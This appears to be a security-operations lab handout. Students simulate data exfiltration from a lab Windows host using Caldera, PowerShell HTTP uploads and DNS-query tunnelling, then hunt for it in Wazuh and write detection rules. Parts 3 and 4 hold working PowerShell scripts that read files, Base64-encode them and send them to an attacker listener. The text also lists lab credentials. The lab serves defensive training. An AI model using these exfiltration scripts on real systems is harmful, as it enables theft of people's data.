Data Exfiltration Lab

Introduction

In this lab you will simulate data exfiltration techniques using the adversary emulation framework Caldera, along with manual HTTP and DNS exfiltration methods. You will then use the SIEM solution Wazuh to investigate the exfiltration activity and write custom detection rules.

Data exfiltration is one of the final stages of many cyber attacks, where an adversary transfers stolen data out of the target environment. Understanding how exfiltration works — and how to detect it — is a core SOC analyst skill.

Pre-requisites

• A Kali Linux VM
• Completion of the Malware Lab (you should already have a Caldera Sandcat agent running on winterfell)

Part 1: Staging Data for Exfiltration

Before exfiltrating data, an attacker first needs to find and stage sensitive files. We will simulate this on the winterfell machine.

Accessing the Victim Machine

On a Kali terminal, access the victim machine with the following command:

evil-winrm -u robb.stark -p sexywolfy -i 10.8.10.11

Creating Sensitive Test Data

We will create a set of files that simulate sensitive data an attacker would want to steal.

Run the following commands on the victim machine:

mkdir C:\Users\robb.stark\Documents\confidential

"SSN: 123-45-6789`nCredit Card: 4111-1111-1111-1111`nPassword: P@ssw0rd123" | Out-File C:\Users\robb.stark\Documents\confidential\employee_records.txt

"Server: dc01.north.sevenkingdoms.local`nAdmin Password: WinterIsComing2024`nDB Connection: Server=sql01;Database=HR;User=sa;Password=SApassword1" | Out-File C:\Users\robb.stark\Documents\confidential\server_credentials.txt

Now stage the files into a single archive for easier exfiltration:

Compress-Archive -Path C:\Users\robb.stark\Documents\confidential\* -DestinationPath C:\Users\robb.stark\Documents\confidential\exfil_package.zip

Part 2: Exfiltration via Caldera

Caldera has built-in abilities for data exfiltration. We will use it to automatically find and exfiltrate files from the victim machine.

Setting Up an Adversary Profile

Navigate to Caldera at https://caldera.soc.local and log in:

• Username: admin
• Password: admin

From the left sidebar, navigate to the Adversaries tab.

Click Create Adversary and configure the following:

• Name: Data Exfiltration
• Description: Finds and exfiltrates sensitive files

Now add the following abilities to the adversary profile by searching for them:

1. Find Files (Tactic: Collection, Technique: T1005)

   • This ability searches for sensitive file types on the victim machine (.docx, .xlsx, .pdf, .txt, .zip)

2. Compress Staged Directory (Tactic: Collection, Technique: T1560.001)

   • This ability compresses the collected files for exfiltration

3. Exfiltrate Staged Directory (Tactic: Exfiltration, Technique: T1041)

   • This ability sends the staged files back to the Caldera C2 server over HTTP

Running the Operation

Navigate to the Operations tab from the left sidebar.

Click Create Operation and configure:

• Name: Exfiltration Test
• Adversary: Select the Data Exfiltration profile you just created
• Agents: Select the agent running on winterfell
• Fact source: Leave as default

Click Start to begin the operation.

Watch the operation as it runs. You should see each ability execute in sequence:

1. The agent finds sensitive files on the victim
2. It compresses them into a staging directory
3. It exfiltrates the archive back to the C2 server over HTTP

Part 3: Exfiltration via HTTP

In this section you will manually exfiltrate data over HTTP, simulating an attacker who uploads stolen data to an external server.

Setting Up an HTTP Listener

On your Kali VM, start a simple HTTP server to receive the exfiltrated data:

mkdir -p /tmp/exfil_received
cd /tmp/exfil_received
python3 -m http.server 8443

Exfiltrating Data via PowerShell

On the victim machine (via your Evil-WinRM session), use PowerShell to upload the staged archive to your Kali listener:

$filePath = "C:\Users\robb.stark\Documents\confidential\exfil_package.zip"
$bytes = [System.IO.File]::ReadAllBytes($filePath)
$encodedData = [Convert]::ToBase64String($bytes)
Invoke-WebRequest -Uri "http://<YOUR_KALI_IP>:8443/$encodedData" -Method GET

You should see the request appear in your Python HTTP server output on Kali. The Base64-encoded data will be visible in the request path.

Alternatively, an attacker might use a POST request for larger files:

$filePath = "C:\Users\robb.stark\Documents\confidential\exfil_package.zip"
$bytes = [System.IO.File]::ReadAllBytes($filePath)
Invoke-WebRequest -Uri "http://<YOUR_KALI_IP>:8443/upload" -Method POST -Body $bytes -ContentType "application/octet-stream"

Part 4: Exfiltration via DNS

DNS exfiltration is a stealthy technique where data is encoded into DNS queries. Since DNS traffic is rarely blocked and often not inspected, it is a favored method for bypassing security controls.

Setting Up a DNS Listener

On your Kali VM, start a simple DNS listener using tcpdump to capture DNS queries:

sudo tcpdump -i any -n port 53 -l | tee /tmp/dns_exfil_capture.txt

In a separate terminal, start a DNS listener with Python to see the queries:

sudo python3 -c "
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
print('DNS listener ready...')
while True:
    data, addr = sock.recvfrom(512)
    print(f'Query from {addr}: {data}')
"

Exfiltrating Data via DNS Queries

On the victim machine, use PowerShell to encode data and send it as DNS queries:

$secret = "SSN: 123-45-6789"
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($secret))
$chunks = $encoded -split '(.{63})' | Where-Object { $_ }
foreach ($chunk in $chunks) {
    nslookup "$chunk.<YOUR_KALI_IP>" <YOUR_KALI_IP>
}

You should see the DNS queries arriving at your Kali listener with the encoded data in the subdomain fields.

To exfiltrate a file via DNS:

$fileContent = Get-Content C:\Users\robb.stark\Documents\confidential\employee_records.txt -Raw
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($fileContent))
$chunks = $encoded -split '(.{63})' | Where-Object { $_ }
$i = 0
foreach ($chunk in $chunks) {
    nslookup "$i.$chunk.<YOUR_KALI_IP>" <YOUR_KALI_IP>
    $i++
}

Part 5: Analyzing Exfiltration in Wazuh SIEM

Accessing Wazuh

Navigate to the Wazuh SIEM at https://wazuh.soc.local

Log in with the credentials provided by your instructor.

Threat Hunting

From the main dashboard, navigate to the Threat Hunting tab, then go to the Events tab.

Add a filter:

• Field: agent.name
• Operator: is
• Value: winterfell

Investigating Caldera Exfiltration

Look for events related to the Caldera operation. Key indicators:

1. File discovery commands: Search for events showing file enumeration (e.g., dir, Get-ChildItem, or similar commands searching for sensitive file types)
2. Archive creation: Look for Compress-Archive or similar compression commands
3. HTTP POST to C2: Look for network connections from the Sandcat agent to 192.168.251.11:8888 with unusually large data transfers

Investigating HTTP Exfiltration

Look for events showing:

1. PowerShell reading files: [System.IO.File]::ReadAllBytes or Get-Content operations
2. Base64 encoding activity: [Convert]::ToBase64String in command line arguments
3. Outbound HTTP connections: Invoke-WebRequest connections to your Kali IP on port 8443
4. Sysmon Event ID 3 (Network Connection): Filter for data.win.system.eventID = 3 to find outbound network connections to unusual destinations

Investigating DNS Exfiltration

Look for events showing:

1. Unusual DNS query volume: A sudden spike in DNS queries from the winterfell agent
2. nslookup executions: Multiple nslookup process creation events in rapid succession
3. Long DNS query names: DNS queries with unusually long subdomain labels (Base64-encoded data)

Questions to answer:

• What Sysmon Event ID corresponds to network connections, and how can you use it to identify exfiltration?

• What process was responsible for the HTTP exfiltration, and what destination port did it use?

• How can you distinguish between legitimate DNS traffic and DNS exfiltration?

• What MITRE ATT&CK techniques were used in this lab? List at least four.

Take screenshots of the relevant events and document the Event IDs and rule IDs that triggered.

Writing Wazuh Detection Rules

Now that you have identified the indicators of compromise (IOCs), you will create custom Wazuh rules to detect data exfiltration activity.

Understanding the Event Structure

Examine the events you identified. Click on an event to expand its details and review the JSON structure. Pay attention to:

• data.win.eventdata.commandLine: The command that was executed
• data.win.eventdata.image: The process that was created
• data.win.eventdata.parentImage: The parent process
• data.win.eventdata.destinationIp: The destination IP for network connections
• data.win.eventdata.destinationPort: The destination port
• data.win.eventdata.queryName: The DNS query name (for DNS events)

Creating the Custom Rules

Navigate to Server Management -> Rules in the left sidebar.

Click on Add new rules file and add the following rules:

Rule 1: Detect Suspicious Outbound HTTP Exfiltration

This rule detects PowerShell making outbound HTTP connections on non-standard ports, which is a common exfiltration indicator.

<group name="sysmon,sysmon_event3,exfiltration,">
  <!-- Detect PowerShell outbound connections on non-standard ports -->
  <rule id="100220" level="12">
    <if_sid>100210</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)\\powershell\.exe$</field>
    <field name="win.eventdata.destinationPort" type="pcre2">^(8443|8080|8888|4443|9090)$</field>
    <description>Potential data exfiltration: PowerShell outbound connection on non-standard port $(win.eventdata.destinationPort) to $(win.eventdata.destinationIp)</description>
    <mitre>
      <id>T1048.003</id>
      <id>T1071.001</id>
      <id>T1059.001</id>
    </mitre>
  </rule>
</group>

Rule 2: Detect Rapid nslookup Executions (DNS Exfiltration Indicator)

This rule detects multiple nslookup executions, which may indicate DNS-based data exfiltration.

<group name="sysmon,sysmon_event1,exfiltration,dns_exfiltration,">
  <!-- Detect nslookup execution that may indicate DNS exfiltration -->
  <rule id="100221" level="10" frequency="5" timeframe="60">
    <if_matched_sid>61603</if_matched_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)\\nslookup\.exe$</field>
    <description>Possible DNS exfiltration: Multiple nslookup executions detected in short timeframe from $(win.eventdata.user)</description>
    <mitre>
      <id>T1048.001</id>
      <id>T1071.004</id>
    </mitre>
  </rule>
</group>

Rule 3: Detect File Archiving for Exfiltration

This rule detects the use of Compress-Archive or other archiving commands, which attackers use to stage data before exfiltration.

<group name="sysmon,sysmon_event1,exfiltration,data_staging,">
  <!-- Detect archive creation that may indicate data staging -->
  <rule id="100222" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(Compress-Archive|tar\s|7z\s|zip\s|rar\s)</field>
    <description>Data staging detected: Archive creation command executed by $(win.eventdata.user) - $(win.eventdata.commandLine)</description>
    <mitre>
      <id>T1560.001</id>
      <id>T1074.001</id>
    </mitre>
  </rule>
</group>

Questions to answer:

• Why does the DNS exfiltration rule use frequency and timeframe parameters?

• Why is the severity level different across the three rules (12, 10, 8)?

• How could an attacker evade the DNS exfiltration rule? What improvements would you suggest?